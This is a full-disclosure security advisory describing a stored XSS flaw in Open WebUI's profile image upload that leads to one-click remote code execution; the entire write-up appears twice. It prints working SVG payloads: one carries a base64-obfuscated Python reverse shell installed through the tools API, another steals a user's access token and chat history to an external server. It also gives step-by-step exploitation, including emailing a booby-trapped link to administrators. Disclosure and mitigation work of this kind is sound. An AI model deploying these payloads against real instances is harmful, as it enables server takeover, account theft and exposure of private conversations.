Like this article? Share it.
Vulnerabilities
Open WebUI - Stored XSS via File Upload That Leads to RCE with 1-Click
Open WebUI One Click RCE

Metin Yunus Kandemir

Summary
In March, we identified a vulnerability in Open WebUI that led to 1-Click RCE. We subsequently reported the vulnerability to Open WebUI via GitHub. However, two months later, the report was closed as a duplicate, referencing a security advisory that had not been publicly disclosed. Additionally, it was stated that although the finding was considered valid, no acknowledgement would be granted. As we believe this situation is contrary to responsible disclosure policy, we have decided to publicly disclose the vulnerability. No patch has been released by Open WebUI for this vulnerability. Mitigation methods for protecting against the vulnerability can also be found in this blog post.
A stored XSS vulnerability has been discovered in the profile file upload functionality. An attacker can upload malicious JavaScript code using the `data:image/svg+xml;base64,base64_encoded_payload` syntax. When a victim user visits the image link, the application executes the JavaScript code within the user's context rather than downloading the file.
An attacker can achieve RCE with 1-click if an privileged user is targeted. Also, the access token and chat history of standard users can be obtained.
Details
The vulnerability exists in the /backend/open_webui/routers/users.py file at lines 513 - 524.
elif user.profile_image_url.startswith("data:image"):
try:
header, base64_data = user.profile_image_url.split(",", 1)
image_data = base64.b64decode(base64_data)
image_buffer = io.BytesIO(image_data)
media_type = header.split(";")[0].lstrip("data:")
return StreamingResponse(
image_buffer,
media_type=media_type,
headers={"Content-Disposition": "inline"},
)
Mitigation would include restricting media_type to a strict allowlist of safe image types (e.g., image/png, image/jpeg, image/gif, image/webp), and rejecting anything else like image/svg+xml.
PoC
Payload for RCE
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript"><![CDATA[
(function(){
try {
var encodedPayload = "aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjE3Mi4xNy4wLjMiLDQ0MykpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oInNoIik";
var decodedPayload = atob(encodedPayload);
var xhr = new XMLHttpRequest();
xhr.open("POST", "/api/v1/tools/create", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Accept", "application/json");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onload = function(){ console.log(xhr.status, xhr.responseText); };
xhr.onerror = function(){ console.error("Network error"); };
var body = JSON.stringify({
id: "tool13",
name: "tool13",
meta: { description: "tool13" },
content: decodedPayload,
access_control: null
});
xhr.send(body);
} catch(e) {
console.error("Exception:", e);
}
})();
]]></script>
</svg>
Payload for ATO
<svg xmlns="http://www.w3.org/2000/svg">
<script><![CDATA[
(function () {
var exfil = "http://burpcollab_or_externalserver";
try {
var token = localStorage.getItem("token");
if (token) {
new Image().src =
exfil + "/token?d=" + encodeURIComponent(token);
}
} catch (e) {}
try {
var x = new XMLHttpRequest();
x.open("GET", "/api/v1/chats/all", true);
x.withCredentials = true;
x.onload = x.onerror = function () {
var px = new XMLHttpRequest();
px.open("POST", exfil + "/chats", true);
px.send(
"d=" + encodeURIComponent(x.responseText)
);
};
x.send(null);
} catch (e) {}
})();
]]></script>
</svg>
PoC for RCE
1. Set `reverse IP` and `port` in `encodedPayload` variable.
2. Encode payload with base64.
3. Log in to the application as standard user and capture upload profile photo request.
4. Replace `profile_image_url` parameter value with `data:image/svg+xml;base64,base64_encoded_payload`
5. Profile image URL should be like `http://localhost:8000/api/v1/users/[user_id]/profile/image` after upload.
6. We can send a GET request to `/api/v1/users/search` endpoint to identify the target users.

7. Then send an email which includes `http://localhost:8000/auth?redirect=/api/v1/users/[user_id]/profile/image` link. If an admin user or a user with `workspace.tools` or `workspace.tools_import` privileges visits the link, RCE can be achieved after login. If they already have an active session in the application, no login is required and RCE can be achieved with 1-click.
Tested on v0.7.2 and still unpatched.
Mitigations
The vulnerability has not been patched yet. Until the vulnerability is patched, we recommend that users do not click on links that redirect to the Open-WebUI application.
Timeline
2026-03-10 - Vulnerability reported to vendor
2026-05-06 - Vulnerability marked as duplicated
2026-05-08 - Full disclosure
Summary
In March, we identified a vulnerability in Open WebUI that led to 1-Click RCE. We subsequently reported the vulnerability to Open WebUI via GitHub. However, two months later, the report was closed as a duplicate, referencing a security advisory that had not been publicly disclosed. Additionally, it was stated that although the finding was considered valid, no acknowledgement would be granted. As we believe this situation is contrary to responsible disclosure policy, we have decided to publicly disclose the vulnerability. No patch has been released by Open WebUI for this vulnerability. Mitigation methods for protecting against the vulnerability can also be found in this blog post.
A stored XSS vulnerability has been discovered in the profile file upload functionality. An attacker can upload malicious JavaScript code using the `data:image/svg+xml;base64,base64_encoded_payload` syntax. When a victim user visits the image link, the application executes the JavaScript code within the user's context rather than downloading the file.
An attacker can achieve RCE with 1-click if an privileged user is targeted. Also, the access token and chat history of standard users can be obtained.
Details
The vulnerability exists in the /backend/open_webui/routers/users.py file at lines 513 - 524.
elif user.profile_image_url.startswith("data:image"):
try:
header, base64_data = user.profile_image_url.split(",", 1)
image_data = base64.b64decode(base64_data)
image_buffer = io.BytesIO(image_data)
media_type = header.split(";")[0].lstrip("data:")
return StreamingResponse(
image_buffer,
media_type=media_type,
headers={"Content-Disposition": "inline"},
)
Mitigation would include restricting media_type to a strict allowlist of safe image types (e.g., image/png, image/jpeg, image/gif, image/webp), and rejecting anything else like image/svg+xml.
PoC
Payload for RCE
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript"><![CDATA[
(function(){
try {
var encodedPayload = "aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjE3Mi4xNy4wLjMiLDQ0MykpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oInNoIik";
var decodedPayload = atob(encodedPayload);
var xhr = new XMLHttpRequest();
xhr.open("POST", "/api/v1/tools/create", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Accept", "application/json");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onload = function(){ console.log(xhr.status, xhr.responseText); };
xhr.onerror = function(){ console.error("Network error"); };
var body = JSON.stringify({
id: "tool13",
name: "tool13",
meta: { description: "tool13" },
content: decodedPayload,
access_control: null
});
xhr.send(body);
} catch(e) {
console.error("Exception:", e);
}
})();
]]></script>
</svg>
Payload for ATO
<svg xmlns="http://www.w3.org/2000/svg">
<script><![CDATA[
(function () {
var exfil = "http://burpcollab_or_externalserver";
try {
var token = localStorage.getItem("token");
if (token) {
new Image().src =
exfil + "/token?d=" + encodeURIComponent(token);
}
} catch (e) {}
try {
var x = new XMLHttpRequest();
x.open("GET", "/api/v1/chats/all", true);
x.withCredentials = true;
x.onload = x.onerror = function () {
var px = new XMLHttpRequest();
px.open("POST", exfil + "/chats", true);
px.send(
"d=" + encodeURIComponent(x.responseText)
);
};
x.send(null);
} catch (e) {}
})();
]]></script>
</svg>
PoC for RCE
1. Set `reverse IP` and `port` in `encodedPayload` variable.
2. Encode payload with base64.
3. Log in to the application as standard user and capture upload profile photo request.
4. Replace `profile_image_url` parameter value with `data:image/svg+xml;base64,base64_encoded_payload`
5. Profile image URL should be like `http://localhost:8000/api/v1/users/[user_id]/profile/image` after upload.
6. We can send a GET request to `/api/v1/users/search` endpoint to identify the target users.

7. Then send an email which includes `http://localhost:8000/auth?redirect=/api/v1/users/[user_id]/profile/image` link. If an admin user or a user with `workspace.tools` or `workspace.tools_import` privileges visits the link, RCE can be achieved after login. If they already have an active session in the application, no login is required and RCE can be achieved with 1-click.
Tested on v0.7.2 and still unpatched.
Mitigations
The vulnerability has not been patched yet. Until the vulnerability is patched, we recommend that users do not click on links that redirect to the Open-WebUI application.
Timeline
2026-03-10 - Vulnerability reported to vendor
2026-05-06 - Vulnerability marked as duplicated
2026-05-08 - Full disclosure
useHacker Alpha Team
Siber dünyanın karanlık köşelerini aydınlatan, saldırganların bir adım önünde hareket eden seçkin kırmızı takım operatörlerinden oluşan bir güvenlik birliğidir.